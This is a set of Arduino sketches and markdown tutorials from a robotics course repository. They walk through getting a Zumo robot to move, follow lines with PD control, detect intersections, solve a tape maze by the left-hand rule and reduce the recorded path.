motors.setSpeeds(80*spin_direction, -80*spin_direction);
for(i = 0; i<150; i++){
linesensors.calibrate();
if(i%50 == 25){ // every 50 loops, starting on loop 25...
spin_direction = -spin_direction;
motors.setSpeeds(80*spin_direction, -80*spin_direction);
}
delay(20);
}
motors.setSpeeds(0,0);
delay(500);
}
unsigned int sensor_vals[6];
void loop() {
int line_position = linesensors.readLine(sensor_vals);
int error = line_position - 2500;
if(error > 250){
motors.setSpeeds(200,100);
} else if(error < -250){
motors.setSpeeds(100,200);
} else {
motors.setSpeeds(150,150);
}
}
<file_sep># Milestone 4
## Solving a maze with no branching
As mentioned in the tutorial content for Milestone 3, your line-following robot should be capable of solving this task with little or no modification. The only necessary change is to determine when the robot reaches the end of the maze. The end is represented by a solid black rectangle (three lines thick) that is more than the width of the robot.
Eventually we will need to distinguish between a T intersection or a + intersection and the end of the maze. For now, though, we don't really
need to worry about that since this maze is just one path with no intersections. Therefore, we can just check if the outer-most sensors are
detecting the line at the same time.
```c++
void loop() {
line_position = linesensors.readLine(sensor_vals);
if(sensor_vals[0] > THRESHOLD && sensor_vals[5] > THRESHOLD){
solved();
}else if(sensor_vals[0] > THRESHOLD && sensor_vals[1] > THRESHOLD){
turn_left();
} else if(sensor_vals[4] > THRESHOLD && sensor_vals[5] > THRESHOLD){
turn_right();
} else {
follow_line();
}
}
```
If we reach this state, then the `solved()` function is called. This could stop the robot and then do nothing:
```c++
void solved(){
motors.setSpeeds(0,0);
while(true){
// do nothing so that the main loop() doesn't restart.
}
}
```
## Recording the path through the maze
Here I'll focus on something that you'll want to be able to do eventually: remember the path through the maze.
One way to do this is by storing each turn that the robot takes. I'll use a `char` array to do this. Every time the
robot makes a turn I'll store the turn direction in the `path` array.
Using the same code as Milestone 3, but now with a little bit more functionality to store the turn-by-turn list:
```c++
char path[50];
int turn_counter = 0;
void loop() {
line_position = linesensors.readLine(sensor_vals);
if(sensor_vals[0] > THRESHOLD && sensor_vals[5] > THRESHOLD){
solved();
}else if(sensor_vals[0] > THRESHOLD && sensor_vals[1] > THRESHOLD){
path[turn_counter] = 'L';
turn_counter++;
turn_left();
} else if(sensor_vals[4] > THRESHOLD && sensor_vals[5] > THRESHOLD){
path[turn_counter] = 'R';
turn_counter++;
turn_right();
} else {
follow_line();
}
}
```
Note the use of `turn_counter` to keep track of which step the robot is at in the maze. Also, note the use of **single quotes** instead
of double quotes for the `'L'` and `'R'` string. Single quotes and double quotes have different meanings in C. Single quotes are meant
for single characters.
Finally, to do something with the `path` information we can play a little tune when the robot is finished, with different notes representing
different turn directions.
```c++
void solved(){
motors.setSpeeds(0,0);
for(int i=0; i<turn_counter+1; i++){
if(path[i] == 'L'){
buzzer.playNote(NOTE_G(5), 200, 15);
delay(400);
}
if(path[i] == 'R'){
buzzer.playNote(NOTE_G(6), 200, 15);
delay(400);
}
}
while(true){
// do nothing!
}
}
```
Here's a video of the robot solving a maze and playing the tune. Note the L H H L L pattern of pitches at the end corresponds
to the turns being L R R L L.
[](https://youtu.be/Q6VOK72gTTk)
<file_sep>#include <Wire.h>
#include <ZumoShield.h>
ZumoBuzzer buzzer;
void setup() {
buzzer.play("!T250 O4 L8 g O5 ceg O6 ceg4.e4. O4 a- O5 ce-a- O6 ce-a-4.e-4. O4 b- O5 dfb- O6 df b-4r MS b-b-b- ML O7 c2.");
}
void loop() {
// put your main code here, to run repeatedly:
}
<file_sep># Milestone 1
> Create your own code that moves the Zumo at least 4 feet.
## Installation
I started off by installing the `ZumoShield` Arduino library. In the Arduino IDE, select `Tools > Manage Libraries...` and search for Zumo.
Once installed, I added the `ZumoShield` library to my project code through the `Sketch > Include Library` menu.
## Motor Control
The Zumo library provides the function `setLeftSpeed()` and `setRightSpeed()` to control the motors. The valid range for speed is -400 to 400. I began by setting the speed to 100 for each motor, waiting for 4 seconds, and then setting the speed to 0. After setting the speed to 0 the code enters an infinite loop to pause idenfinitely.
```c++
#include <ZumoShield.h>
ZumoMotors motors;
void setup() {
// put your setup code here, to run once:
}
void loop() {
// put your main code here, to run repeatedly:
motors.setLeftSpeed(100);
motors.setRightSpeed(100);
delay(4000);
motors.setLeftSpeed(0);
motors.setRightSpeed(0);
while(true){
// do nothing. forever.
}
}
```
## Testing
As this video shows, 4 second of travel at a speed of 100 was not fast enough to travel 4ft. So I changed the speed to 300. This was plenty fast.
[](https://www.youtube.com/embed/q5z4fuUra2Q)
**Milestone 1: complete!**
<file_sep>#include <Wire.h>
#include <ZumoShield.h>
ZumoReflectanceSensorArray linesensors(QTR_NO_EMITTER_PIN);
void setup() {
Serial.begin(9600);
}
unsigned int sensor_vals[6];
void loop() {
linesensors.read(sensor_vals);
Serial.print(sensor_vals[0]);
Serial.print(" ");
Serial.print(sensor_vals[1]);
Serial.print(" ");
Serial.print(sensor_vals[2]);
Serial.print(" ");
Serial.print(sensor_vals[3]);
Serial.print(" ");
Serial.print(sensor_vals[4]);
Serial.print(" ");
Serial.println(sensor_vals[5]);
delay(50);
}
<file_sep># Remote Robot Competition, Spring 2020
We had to transition the annual robotics competition at Vassar (COGS220) to an online course due to COVID-19 :disappointed:. Thankfully, we were able to continue hands-on by sending students a kit to use at home.
This repository contains my own efforts to solve a series of tasks towards a maze-solving robot.
**Tasks:**
1. Get the robot to move forward for 4ft. :heavy_check_mark: [Solution](https://github.com/jodeleeuw/robot_competition_2020/tree/master/Milestone%201)
2. Follow a line for 4ft.
3. Follow a 2x2 square for at least a full lap.
4. Follow a maze-like pattern with no intersections.
5. Solve a maze with intersections.
6. Solve a maze with intersections and then repeat the maze following a memorized path.
7. Get a final run in the practice maze of under XX seconds.
8. Solve a maze with loops.
<file_sep># Milestone 2
## Tutorial: Using the Zumo Line Sensor Array
The Zumo shield has an array of six short-range IR reflectance sensors under the front of the robot.

### Initializing the Sensor Array
If you have installed the ZumoShield library (see video from first milestone) then you can go to `Sketch > Include Library`
and select `ZumoShield`.
Create an instance of the `ZumoReflectanceSensorArray` in your sketch like this:
```c++
#include <Wire.h>
#include <ZumoShield.h>
ZumoReflectanceSensorArray linesensors(QTR_NO_EMITTER_PIN);
void setup(){
}
void loop(){
}
```
Specifying `QTR_NO_EMITTER_PIN` sets the option that we do not want to actively turn the IR emitters on and off.
Instead they will be on by default the entire time.
### Reading data
The data from the line sensor array can be accessed in a few different ways using the `ZumoShield` library.
#### Option 1: Line Location
The first option is to use the `readLine()` function from the library. This function aggregates the data across
the six sensors and returns a value from `0-5000` indicating the estimated location of the line. A value of `0`
indicates that the line is all the way to the left of the robot, a value of `5000` indicates that the line is
all the way to the right of the robot, and a value of `2500` indicate that the line is centered under the robot.
In order to use the `readLine()` function you must first calibrate the line sensors. This is accomplished by
calling the `calibrate()` method and exposing each of the six sensors to the darkest and lightest values in
the environment. One way to accomplish this is to have the robot oscillate left-and-right for a few seconds
while repeatedly calling the calibrate function.
```c++
void setup() {
int i;
int spin_direction = 1;
motors.setSpeeds(80*spin_direction, -80*spin_direction);
for(i = 0; i<250; i++){
linesensors.calibrate();
if(i%50 == 25){ // every 50 loops, starting on loop 25...
spin_direction = -spin_direction;
motors.setSpeeds(80*spin_direction, -80*spin_direction);
}
delay(20);
}
motors.setSpeeds(0,0);
delay(500);
}
```
Once the line sensor is calibrated you can use `readLine()` to get the position of the line. This function
requires that you have an `unsigned int array` to store the line sensor data. In the example code below, I'm
using the ZumoBuzzer to play a tone that gets higher when the line is to the right. This is a nice method
for checking that it is working with using the `Serial` port (and thus tethering the robot to your computer).
*Imporant: You must connect the jumper for the buzzer before it will play sound. See [this video](https://www.youtube.com/watch?v=SL-j1g6T6WY) for instructions.*
```c++
ZumoBuzzer buzzer; // create a buzzer to play sound
unsigned int sensor_vals[6];
void loop() {
int line_position = linesensors.readLine(sensor_vals);
int frequency = 220 + ((float)line_position / 5000) * 660;
buzzer.playFrequency(frequency, 100, 15);
while (buzzer.isPlaying());
}
```
The full code for this method is available in the `read_line_method` folder.
#### Option 2: Raw Data
You can also read the raw values for each sensor using the `read()` method. This method does not require any
calibration.
There's not an interesting way that I could think of to provide access to the values, so I use the normal
`Serial` port method for communicating with the Arduino.
```c++
#include <Wire.h>
#include <ZumoShield.h>
ZumoReflectanceSensorArray linesensors(QTR_NO_EMITTER_PIN);
void setup() {
Serial.begin(9600);
}
unsigned int sensor_vals[6];
void loop() {
linesensors.read(sensor_vals);
Serial.print(sensor_vals[0]);
Serial.print(" ");
Serial.print(sensor_vals[1]);
Serial.print(" ");
Serial.print(sensor_vals[2]);
Serial.print(" ");
Serial.print(sensor_vals[3]);
Serial.print(" ");
Serial.print(sensor_vals[4]);
Serial.print(" ");
Serial.println(sensor_vals[5]);
delay(50);
}
```
Notice that calling `read()` does not return any new values. Instead it updates the values of the `sensor_vals`
array.
If you upload this code and open your serial monitor (making sure to set the Baud rate to 9600 in the bottom
corner of the serial monitor) you should see lines of numbers with 6 items per line. The values should range
from 0 to 2000, with 2000 being when the sensor is directly over the line.
You could save yourself many lines of code in the `loop()` by using the `sprintf()` function. If you want
to adapt the code you can Google `sprintf` to learn how to use it.
This code is also available in the `raw_data_method` folder.
## Tutorial: PID control
Once you have the ability to get the position of the line you are ready to create a line-following robot.
[This 5 minute video](https://www.youtube.com/watch?v=4Y7zG48uHRo) does an excellent job of explaining
the basics of **PID Control**, which provides a solid foundation for building the line-following mechanism.
I recommend watching it and then coming back to the turorial.
For all of these methods we need a way of measuring the *error* in the position of the robot relative
to the line. We can use the `readLine()` method described above to get the error. If the robot is pefectly
centered over the line the `readLine()` method should return `2500`. Therefore...
```c++
int line_position = linesensors.readLine(sensor_vals);
int error = line_position - 2500;
```
... works as a measurement of *error*. Positive errors indicate that the robot is too far to the left of the line.
Negative errors indicate the robot is too far to the right of the line.
### Bang-bang control
Let's start with the simplest case in the video: *bang-bang* control. For bang-bang control, we have a fixed
speed that we adjust the robot by when it is not centered over the line.
Here's what a the `loop()` might look like:
```c++
void loop() {
int line_position = linesensors.readLine(sensor_vals);
int error = line_position - 2500;
if(error > 250){
motors.setSpeeds(200,100);
} else if(error < -250){
motors.setSpeeds(100,200);
} else {
motors.setSpeeds(150,150);
}
}
```
If the error is positive (and above some minimum error threshold) the robot will drift to the right. If
the error is negative the robot will drift to the left. If the error is within some tolerance the robot
moves straight.
The result is an OK line-follower, but it has a hard time correcting for curves:

You could try tuning parameters here like the motor speeds and the tolerance for error. Setting the error
tolerance lower should make for better line following, but the behavior of the robot will become very
jerky.
See the `bang_bang_control` folder for this code.
### Proportional control
As described in the [video on PID control](https://www.youtube.com/watch?v=4Y7zG48uHRo), one solution
to improve the smoothness of the line tracking is to use the *amount* of error to adjust the *amount* of
correction. The larger the error, the more correction we apply. This is called **proportion-based** control.
Here's an example of applying proportion-based control.
```c++
unsigned int sensor_vals[6];
int BASE_SPEED = 200;
double PROPORTION_GAIN = 0.2;
void loop() {
int line_position = linesensors.readLine(sensor_vals);
int error = line_position - 2500;
int left_speed = BASE_SPEED + PROPORTION_GAIN * error;
int right_speed = BASE_SPEED + -PROPORTION_GAIN * error;
motors.setSpeeds(left_speed, right_speed);
}
```
The `PROPORTION_GAIN` variable scales how much the error signal changes the motor signal. For example,
if the line sensor reads `3000`, the value for `left_speed` will be `300` and the value for `right_speed`
will be `100`. Note that the sign on `PROPORTION_GAIN` is negative for the right motor.
Setting the right value for `PROPORTION_GAIN` is crucial for success.
Here's what the robot looks like with a value of `1.0`

Here's what the robot looks like with a value of `0.2`

Here's what the robot looks like with a value of `0.02`

### PD control
Taking into account the *rate* at which the error is changing can allow for smoother control. When
the error is changing quickly, we slow down the amount of adjustment. This lets the system smoothly
stabilize. Adding this *derivative* term into the controller produces a **PD (proportion + derivative)**
controller.
Here's an example of adding the derivative term to the proportion-based controller above.
```c++
unsigned int sensor_vals[6];
int BASE_SPEED = 200;
double PROPORTION_GAIN = 0.2;
double DERIVATIVE_GAIN = 3;
int last_error = 0;
void loop() {
int line_position = linesensors.readLine(sensor_vals);
int error = line_position - 2500;
int error_change = error - last_error;
int left_speed = BASE_SPEED + PROPORTION_GAIN * error + DERIVATIVE_GAIN * error_change;
int right_speed = BASE_SPEED + -PROPORTION_GAIN * error + -DERIVATIVE_GAIN * error_change;
last_error = error;
motors.setSpeeds(left_speed, right_speed);
}
```
Like the proportion-based term, there is a `DERIVATIVE_GAIN` parameter that we can tune to improve
the performance of the robot. However, the proportion-based controller by itself was already pretty
good with a reasonable parameter, so setting `DERIVATIVE_GAIN` to be very small just makes the robot
behave like it is proportion-only.
With a value of `3.0` the robot's performance is very smooth.

When the value of `DERIVATIVE_GAIN` is too high, you get very tight line following but the robot oscillates
quickly over the line. Here it is set to `30`. Notice that the robot is travelling slower here
than in the above clip, because of the oscillations.

### PID Control
The final option would be to add a term that is responsive to the sum of errors, the *integral* term.
However, PD-control alone is more than sufficient for this task, in part because the robot is
so responsive and errors can be corrected very quickly. So we don't need to implement the I-portion of
the PID controller.
<file_sep>#include <Wire.h>
#include <ZumoShield.h>
ZumoMotors motors;
ZumoReflectanceSensorArray linesensors(QTR_NO_EMITTER_PIN);
ZumoBuzzer buzzer;
Pushbutton button(ZUMO_BUTTON);
void setup() {
int i;
int spin_direction = 1;
motors.setSpeeds(120*spin_direction, -120*spin_direction);
for(i = 0; i<80; i++){
linesensors.calibrate();
if(i%40 == 20){ // every 50 loops, starting on loop 25...
spin_direction = -spin_direction;
motors.setSpeeds(120*spin_direction, -120*spin_direction);
}
delay(10);
}
motors.setSpeeds(0,0);
delay(500);
}
unsigned int sensor_vals[6];
int THRESHOLD = 400;
int BASE_SPEED = 200;
int line_position;
char path[50];
int turn_counter = 0;
bool finish_detected = false;
int INTERSECTION_LEFT_TURN = 0;
int INTERSECTION_RIGHT_TURN = 1;
int INTERSECTION_T = 2;
int INTERSECTION_CROSS = 3;
int INTERSECTION_LEFT_T = 4;
int INTERSECTION_RIGHT_T = 5;
int FINISH = 6;
int NO_INTERSECTION = 7;
void loop() {
line_position = linesensors.readLine(sensor_vals);
bool line_on_left = sensor_vals[0] > THRESHOLD;
bool line_on_right = sensor_vals[5] > THRESHOLD;
int intersection_type = NO_INTERSECTION;
if(line_on_left || line_on_right) {
motors.setSpeeds(BASE_SPEED, BASE_SPEED);
intersection_type = get_intersection_type();
}
if(intersection_type == NO_INTERSECTION && sensor_vals[1] < THRESHOLD && sensor_vals[2] < THRESHOLD && sensor_vals[3] < THRESHOLD && sensor_vals[4] < THRESHOLD){
path[turn_counter] = 'U';
turn_counter++;
u_turn();
}
if(intersection_type == INTERSECTION_RIGHT_T){
path[turn_counter] = 'S';
turn_counter++;
follow_line();
}
if(intersection_type == INTERSECTION_LEFT_TURN ||
intersection_type == INTERSECTION_LEFT_T ||
intersection_type == INTERSECTION_CROSS ||
intersection_type == INTERSECTION_T){
path[turn_counter] = 'L';
turn_counter++;
turn_left();
}
if(intersection_type == INTERSECTION_RIGHT_TURN){
path[turn_counter] = 'R';
turn_counter++;
turn_right();
}
if(intersection_type == NO_INTERSECTION) {
follow_line();
}
if(intersection_type == FINISH){
solved();
}
}
int get_intersection_type() {
bool line_on_left = sensor_vals[0] > THRESHOLD;
bool line_on_right = sensor_vals[5] > THRESHOLD;
bool line_on_left_ever = line_on_left;
bool line_on_right_ever = line_on_right;
int finish_counter = 0;
while(line_on_left || line_on_right){
linesensors.read(sensor_vals);
line_on_left = sensor_vals[0] > THRESHOLD;
line_on_right = sensor_vals[5] > THRESHOLD;
line_on_left_ever = line_on_left || line_on_left_ever;
line_on_right_ever = line_on_right || line_on_right_ever;
finish_counter++;
if(finish_counter > 60){
//buzzer.play("O6c32d32e32f32g32");
return FINISH;
}
}
bool line_straight = sensor_vals[2] > THRESHOLD || sensor_vals[3] > THRESHOLD;
if(!line_straight && line_on_left_ever && line_on_right_ever) {
buzzer.play("O6c32c32c32");
return INTERSECTION_T;
}
if(line_straight && line_on_left_ever && line_on_right_ever){
buzzer.play("O6c32e32c32");
return INTERSECTION_CROSS;
}
if(!line_straight && !line_on_right_ever){
buzzer.play("O6c32d32e32");
return INTERSECTION_LEFT_TURN;
}
if(!line_straight && !line_on_left_ever){
buzzer.play("O6e32d32c32");
return INTERSECTION_RIGHT_TURN;
}
if(line_straight && !line_on_right_ever){
buzzer.play("O6e32d32e32");
return INTERSECTION_LEFT_T;
}
if(line_straight && !line_on_left_ever){
buzzer.play("O6c32d32c32");
return INTERSECTION_RIGHT_T;
}
}
void turn_left() {
motors.setSpeeds(-BASE_SPEED, BASE_SPEED);
while(sensor_vals[3] > THRESHOLD){
linesensors.read(sensor_vals);
}
while(sensor_vals[3] < THRESHOLD){
linesensors.read(sensor_vals);
}
}
void turn_right() {
motors.setSpeeds(BASE_SPEED, -BASE_SPEED);
while(sensor_vals[2] > THRESHOLD){
linesensors.read(sensor_vals);
}
while(sensor_vals[2] < THRESHOLD){
linesensors.read(sensor_vals);
}
}
void u_turn() {
motors.setSpeeds(-BASE_SPEED, BASE_SPEED);
while(sensor_vals[0] < THRESHOLD){
line_position = linesensors.readLine(sensor_vals);
}
while(line_position > 3000 || line_position < 2000){
line_position = linesensors.readLine(sensor_vals);
}
}
void solved(){
motors.setSpeeds(0,0);
path_reduce();
for(int i=0; i<turn_counter+1; i++){
if(path[i] == 'L'){
buzzer.playNote(NOTE_C(6), 100, 15);
delay(200);
}
if(path[i] == 'R'){
buzzer.playNote(NOTE_E(6), 100, 15);
delay(200);
}
if(path[i] == 'S'){
buzzer.playNote(NOTE_G(6), 100, 15);
delay(200);
}
if(path[i] == 'U'){
buzzer.playNote(NOTE_C(7), 100, 15);
delay(200);
}
}
button.waitForButton();
buzzer.play("O6 d32a32");
delay(1000);
runSolvedMaze();
}
double PROPORTION_GAIN = 0.2;
double DERIVATIVE_GAIN = 3;
int last_error = 0;
void follow_line(){
// follow line
int error = line_position - 2500;
int error_change = error - last_error;
int left_speed = BASE_SPEED + PROPORTION_GAIN * error + DERIVATIVE_GAIN * error_change;
int right_speed = BASE_SPEED + -PROPORTION_GAIN * error + -DERIVATIVE_GAIN * error_change;
last_error = error;
// set speed
motors.setSpeeds(left_speed, right_speed);
}
void runSolvedMaze(){
int solved_path_location = 0;
while(true){
line_position = linesensors.readLine(sensor_vals);
bool intersection_detected = sensor_vals[0] > THRESHOLD || sensor_vals[5] > THRESHOLD;
if(intersection_detected) {
if(solved_path_location == turn_counter){
motors.setSpeeds(0,0);
buzzer.play("!T250 O4 L8 g O5 ceg O6 ceg4.e4. O4 a- O5 ce-a- O6 ce-a-4.e-4. O4 b- O5 dfb- O6 df b-4r MS b-b-b- ML O7 c2.");
break;
}
motors.setSpeeds(BASE_SPEED, BASE_SPEED);
get_intersection_type(); // just to get through the intersection
if(path[solved_path_location] == 'S'){
follow_line();
}
if(path[solved_path_location] == 'L'){
turn_left();
}
if(path[solved_path_location] == 'R'){
turn_right();
}
solved_path_location++;
} else {
follow_line();
}
}
button.waitForButton();
buzzer.play("O6 d32a32");
delay(1000);
runSolvedMaze();
}
void path_reduce(){
bool flag = false;
for(int path_location=2; path_location < turn_counter; path_location++){
if(flag){
path[path_location-2] = path[path_location];
} else if(path[path_location-1] == 'U'){
char a = path[path_location - 2];
char b = path[path_location];
char c = ' ';
int total_angle = 180;
if(a == 'L'){
total_angle += 270;
}
if(a == 'U'){
total_angle += 180;
}
if(a == 'R'){
total_angle += 90;
}
if(b == 'L'){
total_angle += 270;
}
if(b == 'U'){
total_angle += 180;
}
if(b == 'R'){
total_angle += 90;
}
total_angle = total_angle % 360;
if(total_angle == 0){
c = 'S';
}
if(total_angle == 90){
c = 'R';
}
if(total_angle == 180){
c = 'U';
}
if(total_angle == 270){
c = 'L';
}
path[path_location - 2] = c;
flag = true;
}
}
if(flag){
turn_counter = turn_counter - 2;
path[turn_counter] = ' ';
path[turn_counter + 1] = ' ';
path_reduce();
} else {
return;
}
}
<file_sep># Milestone 3
## Using the line sensor to detect and respond to turns
If you've developed code for Milestone 2 and tried it out on the square for this milestone, then you've probably found that
your code already works. A good line-following algorithm, like the PD-control implemented in the last tutorial is capable of
navigating the sharp turns of the maze.
In fact, you could probably solve Milestone 4 with the same code, too.
Still, it will be useful when we get to Milestone 5 to think about how to detect turns in the course. So rather than just
solving the square with the existing line following code, this tutorial aims to show you a way to use the line sensor array
to detect the presence of turns.
The key idea is that when you call `.readLine()` this returns the position of the line but also updates the array of line
sensor values. You can use this array to detect a situation in which the line is thicker than expected, and determine
whether the thicker line goes to the left or the right.
Here's an example:
```c++
unsigned int sensor_vals[6];
int THRESHOLD = 600;
int line_position;
void loop() {
line_position = linesensors.readLine(sensor_vals);
if(sensor_vals[0] > THRESHOLD && sensor_vals[1] > THRESHOLD){
turn_left();
} else if(sensor_vals[4] > THRESHOLD && sensor_vals[5] > THRESHOLD){
turn_right();
} else {
follow_line();
}
}
```
In the above `loop()` we check the current position of the line, which also updates the `sensor_vals` array. If the two left-most
sensors are above some threshold (detecting the line) then we treat that as the line being on the left. Conversely, if the two
right-most sensors are above the threshold then we assume the line is on the right. If neither condition is true, continue following
the line.
## Turning left and right: two methods
There are two general strategies that you could take for turning the robot to the left and right, and they illustrate different
ways of programming behavior in a robot.
One strategy is the **ballistic approach** and the other is the **reactive approach**.
### Ballistic Approach
A ballistic behavior is a behavior that executes regardless of any input to the system. Once the behavior starts it cannot be stopped
until it is complete. Ballistic behaviors are sometimes useful, and they are certainly the simple to implement.
To implement a ballistic turning behavior, we could program the robot to spin the motos in the direction that accomplishes the turn
for a fixed amount of time. The code would look something like this:
```c++
void turn_left() {
motors.setSpeeds(-400, 400);
delay(115);
}
```
In order to get the ballistic behavior to work well, you'll need to tune the parameters: the speed that the motors spin and the length of the delay. This can be done without too much trial-and-error.
One problem that you might encounter with a ballistic behavior is that **performance changes over time**. Batteries are drained, treads become
less grippy, the floor becomes dirtier, etc. All of these small changes can have an impact on the success of your ballistic behavior, so you
may need to re-tune the parameters regularly.
Here's a video of the robot using the ballistic approach:

### Reactive Approach
A reactive behavior is responsive to some kind of sensory signal. The line-following behavior is a nice example of a reactive behavior.
We can also make the turning behavior reactive. We can use the line sensors to detect when we have turned enough to proceed. Note that turning
enough is not necessarily turning 90 degrees. If we get the robot to turn so that the line-following algorithm will kick in and allow the robot to follow the path then that should be enough.
The code could look like this:
```c++
void turn_left() {
motors.setSpeeds(-BASE_SPEED, BASE_SPEED);
linesensors.read(sensor_vals);
while(sensor_vals[0] > THRESHOLD && sensor_vals[1] > THRESHOLD){
linesensors.read(sensor_vals);
}
}
```
Essentially: turn until the robot doesn't detect the line on its left. And then kick the control back to the line-following algorithm in the `loop()`.
Note that there are parameters to play with here as well. The speed of the motors can be tweaked for optimal performance.
Here's a video of the robot using the reactive approach:

### A Hybrid Approach?
You might find some benefit in combining the reactive and ballistic approaches into a Hybrid approach. For example, the reactive approach
angles the robot towards the correct direction. It *might* be faster if the reactive approach turned just a little bit further. This could
be done by adding a small amount of ballistic turning onto the end of the reactive `turn_left()` function.
## Code
I'll encourage you to use the examples above to implement your own solution. You are welcome to view my ballistic and reactive solutions
in this folder when you are ready to do so. They are certainly not optimal solutions and you can work to find some ways to speed it up.
<file_sep>#include <Wire.h>
#include <ZumoShield.h>
ZumoMotors motors;
ZumoReflectanceSensorArray linesensors(QTR_NO_EMITTER_PIN);
ZumoBuzzer buzzer;
void setup() {
int i;
int spin_direction = 1;
motors.setSpeeds(80*spin_direction, -80*spin_direction);
for(i = 0; i<150; i++){
linesensors.calibrate();
if(i%50 == 25){ // every 50 loops, starting on loop 25...
spin_direction = -spin_direction;
motors.setSpeeds(80*spin_direction, -80*spin_direction);
}
delay(20);
}
motors.setSpeeds(0,0);
delay(500);
}
unsigned int sensor_vals[6];
void loop() {
int line_position = linesensors.readLine(sensor_vals);
int frequency = 220 + ((float)line_position / 5000) * 660;
buzzer.playFrequency(frequency, 100, 15);
while (buzzer.isPlaying());
}
<file_sep># Milestone 5
## Maze Layout
Here's the maze layout for the competition. You'll need a 36" x 36" space. Lines are spaced on a 6" grid. Do your best to get the center
of the tape on the grid, but perfection isn't necessary here. The start position is marked with the circle (you don't need to create a circle with tape). The end position is a solid rectangle. You do need to create this. It should be wider than the width of the robot and three pieces
of tape tall.

Here's what it looks like IRL.

My rendition isn't perfect, but it works OK. I have noticed that imprecise corners can make debugging harder, so take care when you are joining two pieces of tape together to get the edges aligned as best as you can.
## Solving a maze: left-hand-on-the-wall
One strategy for solving the maze is to always follow the left (or right) wall. If there are no loops in the maze then you are guaranteed to find the exit. To use this strategy the robot should always turn left whenever possible.
## Detecting intersection types
In order to use the left-hand-on-the-wall strategy you'll probably want to be able to detect the different kinds of intersections that the robot arrives at. A lot of my coding effort to solve this Milestone went into a reliable algorithm for detecting different kinds of intersections. The full code is available in the code file above, but here are some hints without revealing my full solution. You can look at my code if you want the full solution.
1. I wrote a function called `get_intersection_type()` that returned an `int` corresponding to different kinds of intersections. I declared the different kinds of intersections as global variables:
```c++
int INTERSECTION_LEFT_TURN = 0;
int INTERSECTION_RIGHT_TURN = 1;
int INTERSECTION_T = 2;
int INTERSECTION_CROSS = 3;
int INTERSECTION_LEFT_T = 4;
int INTERSECTION_RIGHT_T = 5;
int FINISH = 6;
int NO_INTERSECTION = 7;
```
I found this to be helpful for organizing my code and for thinking clearly about what actions to take.
2. In the previous milestone with only a single path, the robot could treat the immediate detection of a line to the left or right as a signal about which way to turn. That won't work here, because you will want to turn right for an `INTERSECTION_RIGHT_TURN` but not for an `INTERSECTION_RIGHT_T`. In the second case, following the left wall dictates going forward through the intersection. My solution was to have the robot drive through the intersection in the `get_intersection_type()` function, keeping track of whether there were lines on the left and right, and also whether the straight line continued after the intersection. Once these three variables are known, you can determine which kind of intersection was seen.
3. You'll need a special case for the `FINISH`. Here the lines on the left and right of the robot are much thicker, so the robot will detect them for longer. In my `get_intersection_type()` function I implemented a counter so that if the robot was taking longer-than-usual to get to the end of the intersection it would `return FINISH;`.
4. You'll also need a special case for U-TURNS. I put this outside the `get_intersection_type()` function because I triggered the `get_intersection_type()` whenever a line was detected to the left or right of the path.
5. You'll probably need to rethink how the turning behavior should work. I was able to implement a fully *reactive* behavior for turning that worked well, but it took a lot of debugging! Think about how you can utilize the line sensor values to detect when the robot should stop turning. The general pattern looks something like this:
```c++
void turn_left(){
motors.setSpeeds( , ); // set left turn
while( ) { // check for some condition in the line sensors
linesensors.read(sensor_vals); // update sensor vals
} // repeat this until condition is met, robot will continue turning based on last .setSpeeds command
}
```
You might benefit from consecutive `while` loops...
## Debugging Tips
Getting this working took a lot of debugging work. Here are some tips from my ~~suffering~~ effort.
1. Use the `ZumoBuzzer`. Playing different sounds at different points in the code can be really useful. The `.play()` method is easy to insert just about anywhere.
```c++
buzzer.play("O6c32d32e32"); // plays three rising notes (c, d, e) at 32nd note duration in octave 6.
```
Documentation for the play method is [here](https://www.pololu.com/docs/0J18/3). Scroll down to `OrganutanBuzzer::play(const char* sequence)` for information about how to control the note sequence.
2. Test individual behaviors by halting the robot at the end of the behavior. With the robot moving quickly and the complexity of the code growing, I found it hard to tell which behavior was faulty at several points during debugging. I added a stop command followed by an infinite loop to the code at key places to help me isolate individual behaviors. For example, when the robot uses `turn_left()` does it finish the behavior oriented over the line correctly? Having the robot halt at the end of turning was very useful.
```c++
void turn_left(){
motors.setSpeeds( , );
while( ) {
linesensors.read(sensor_vals);
}
motors.setSpeeds(0,0); // stop
while(1) { } // infinite loop to prevent other behaviors from taking over again.
}
```
3. Take a video so you can replay runs and diagnose issues without needing to reset the robot repeatedly.
## Solving the Maze
Here's the robot solving the maze. It keeps track of all the turns it made and plays a tune at the end where each turn-type is a different kind of note.
[](https://youtu.be/LPltk54D-Rw)
<file_sep># Milestone 6
## Path Solving
The solution for Milestone 5 includes keeping track of the path the robot takes through all intersections that it encounters. This path is stored in an array, with each direction represented by a character:
* `L` for left
* `R` for right
* `U` for u-turn
* `S` for straight
The final path through the maze, if you use the left-hand-on-the-wall strategy looks like this:
`LSLLULUSLRLLLUSRSRRLSLRULLULULLLR`
A key part of the task for this week is to take this solution and reduce it down to the simplest path. One way to approach this is to recursively remove any U-turns in the path and replace them with the direction that the robot should have gone to avoid the U-turn. For example, at a T intersection like the one below the robot will follow the path `LUS` if using the left-hand-on-the-wall strategy. That three turn sequence could be replaced with `R`.

Each possible three-item sequence with a `U` in the middle can be reduced to a single direction that avoids the U-turn. You could enumerate all possible three-item sequences, like `LUS = R` and `LUL = S`. Another idea is to keep track of the total rotation of the robot. `LUS` is `270 + 180 + 0` degrees of rotation. If you add that together and `%` by 360, you get `90`, which is `R`. Similarly, `LUL` is `270 + 180 + 270` which is `720`. `720 % 360 = 0` which is `S`.
What about when the robot needs to backtrack through a long path after taking a `U`? Recursively applying the algorithm above still works!

### Implementing in Code
Implementing the algorithm described above in Arduino C++ is a little trickier than doing it in a fully-featured modern language. I'm sure there are better solutions than what I came up with, but here's the strategy I eventually settled on:
1. Write a function that takes the completed path array and iterates through the array to find the first instance of a `U`. Once it find that `U` it replaces the three item sequence `xUy` with the new direction.
2. It then moves all the remaining items in the array up two spots.
Through these first two steps, it would work like this:
`LLLULUSL...` -> `LLSUSL...`
3. Keep track of how long the path is. Since arrays are fixed-length in c++, you need a separate variable to keep track of how many actual turns there are. There will be extra data at the end of the array that is *junk data*, unless you do something fancier to delete it.
4. If the function made a swap, call the function again. If it didn't make a swap, then the path has no U-turns and it is done.
## Using the path reducer
To use the path reducer, I called my `path_reduce()` function when the robot finds the goal the first time through the maze.
I then used the push button (right next to the start switch) to control the restart of the robot. You can use the button like this:
```c++
Pushbutton button(ZUMO_BUTTON); // declared at top of file
void setup(){
... stuff here ...
}
void loop(){
... stuff here ...
}
function solved(){
... some stuff here, too ...
// find the simplest path
reduce_path()
